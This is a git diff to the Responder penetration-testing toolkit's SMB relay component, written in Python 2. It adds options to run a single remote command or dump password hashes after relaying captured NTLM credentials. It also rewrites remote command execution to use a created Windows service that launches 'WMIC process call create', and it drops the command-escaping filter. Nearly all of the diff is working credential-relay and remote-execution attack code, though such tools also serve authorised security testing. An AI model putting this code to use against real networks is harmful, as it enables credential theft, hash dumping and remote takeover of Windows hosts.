parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
options, args = parser.parse_args() options, args = parser.parse_args()
@@ -65,6 +67,8 @@ if options.UserToRelay is None:
if options.ExtraPort is None: if options.ExtraPort is None:
options.ExtraPort = 0 options.ExtraPort = 0
OneCommand = options.OneCommand
Dump = options.Dump
ExtraPort = options.ExtraPort ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay UserToRelay = options.UserToRelay
Host = options.TARGET, 445 Host = options.TARGET, 445
@@ -140,7 +144,9 @@ def ConnectToTarget():
s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1) s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15) s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5) s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5) # macOS does not have TCP_KEEPIDLE
if sys.platform != 'darwin':
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
s.connect(Host) s.connect(Host)
return s return s
except: except:
@@ -446,6 +452,10 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
return False return False
if data[8:10] == "\x73\x5e":
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
## Tree Connect ## Tree Connect
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00":
@@ -463,7 +473,6 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
return False return False
return False
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. # This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
if data[8:10] == "\x75\xcc": if data[8:10] == "\x75\xcc":
@@ -481,8 +490,19 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
## Run one command.
if data[8:10] == "\x75\x00" and OneCommand != None or Dump:
print "[+] Authenticated."
if OneCommand != None:
print "[+] Running command: %s"%(OneCommand)
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host)
if Dump:
print "[+] Dumping hashes"
DumpHashes(data, s, Host)
os._exit(1)
## Drop into the shell. ## Drop into the shell.
if data[8:10] == "\x75\x00": if data[8:10] == "\x75\x00" and OneCommand == None:
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShowHelp() ShowHelp()
#Make sure we don't open 2 shell at the same time.. #Make sure we don't open 2 shell at the same time..
@@ -563,11 +583,12 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
class ThreadingTCPServer(ThreadingMixIn, TCPServer): class ThreadingTCPServer(TCPServer):
def server_bind(self): def server_bind(self):
TCPServer.server_bind(self) TCPServer.server_bind(self)
ThreadingTCPServer.allow_reuse_address = 1 ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.daemon_threads = True
def serve_thread_tcp(host, port, handler): def serve_thread_tcp(host, port, handler):
try: try:
@@ -591,7 +612,7 @@ def main():
while True: while True:
time.sleep(1) time.sleep(1)
except KeyboardInterrupt: except (KeyboardInterrupt, SystemExit):
sys.exit("\rExiting...") sys.exit("\rExiting...")
if __name__ == '__main__': if __name__ == '__main__':

View File

@@ -120,7 +120,7 @@ def ParseHTTPHash(data, key, client,UserToRelay,Host):
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay: if User in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(User) print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None): if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None return None, None
@@ -142,7 +142,7 @@ def ParseHTTPHash(data, key, client,UserToRelay,Host):
WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User) WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay: if User in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(User) print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None): if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None return None, None
@@ -174,7 +174,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host): #Parse SMB NTLMSSP v
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username) WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay: if Username in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(Username) print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None): if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None return None, None
@@ -196,7 +196,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host): #Parse SMB NTLMSSP v
WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username) WriteData(Logs_Path+"logs/SMB-Relay-SMB-"+client+".txt", WriteHash, Username)
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay: if Username in UserToRelay or "ALL" in UserToRelay:
print "[+] Username: %s is whitelisted, fowarding credentials."%(Username) print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None): if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host[0], cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts. ##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None return None, None
@@ -222,9 +222,9 @@ def ExtractSMBChallenge(data):
def ExtractHTTPChallenge(data): def ExtractHTTPChallenge(data):
SecBlobLen = struct.unpack("<h", data[43:45])[0] SecBlobLen = struct.unpack("<h", data[43:45])[0]
if SecBlobLen < 255: if SecBlobLen <= 257:
Challenge = data[102:110] Challenge = data[102:110]
if SecBlobLen > 255: if SecBlobLen >= 258:
Challenge = data[106:114] Challenge = data[106:114]
print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex") print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex")
return Challenge return Challenge
@@ -430,10 +430,8 @@ def CreateService(Command, f, host, data, s):
ContextHandler = data[84:104] ContextHandler = data[84:104]
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
FilePath = FileChars
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath,BinCMD=Command) w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command)
w.calculate() w.calculate()
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
x.calculate() x.calculate()

View File

@@ -651,6 +651,11 @@ class SMBDCESVCCTLOpenManagerW(Packet):
]) ])
def calculate(self): def calculate(self):
#Padding
if len(str(self.fields["MachineName"]))%2==0:
self.fields["MachineNameNull"] = "\x00\x00\x00\x00"
else:
self.fields["MachineNameNull"] = "\x00\x00"
## Convert to UTF-16LE ## Convert to UTF-16LE
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1) self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1) self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
@@ -677,10 +682,7 @@ class SMBDCESVCCTLCreateService(Packet):
("BinPathMaxCount", "\xb6\x00\x00\x00"), ("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"), ("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"), ("BinPathActualCount", "\xb6\x00\x00\x00"),
("FileName", ""),
("BinPathName", ""),
("BinCMD", ""), ("BinCMD", ""),
("BintoEnd", ""),
("BinCMDTerminator", "\x00\x00"), ("BinCMDTerminator", "\x00\x00"),
("LoadOrderGroup", "\x00\x00\x00\x00"), ("LoadOrderGroup", "\x00\x00\x00\x00"),
("TagID", "\x00\x00\x00\x00"), ("TagID", "\x00\x00\x00\x00"),
@@ -694,29 +696,13 @@ class SMBDCESVCCTLCreateService(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
WinTmpPath = "%WINDIR%\\Temp\\Results.txt" WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
FinalCMD = "del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
#That is: delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file. ##Run the actual command via WMIC, no need to write/execute from a file.
self.fields["FileName"] = ""#Reset it. self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
self.fields["BinCMD"] = FinalCMD BinDataLen = str(self.fields["BinCMD"])
self.fields["BintoEnd"] = "& %COMSPEC% /C call "+File+"&exit"
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
## Calculate first ## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1) self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
@@ -728,9 +714,8 @@ class SMBDCESVCCTLCreateService(Packet):
## Then convert to UTF-16LE ## Then convert to UTF-16LE
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le') self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le') self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le') self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet): class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([ fields = OrderedDict([

View File

@@ -23,6 +23,17 @@ import time
import settings import settings
import datetime import datetime
def RandomChallenge():
if settings.Config.NumChal == "random":
from random import getrandbits
NumChal = '%0x' % getrandbits(16 * 4)
Challenge = ''
for i in range(0, len(NumChal),2):
Challenge += NumChal[i:i+2].decode("hex")
return Challenge
else:
return settings.Config.Challenge
def HTTPCurrentDate(): def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date return Date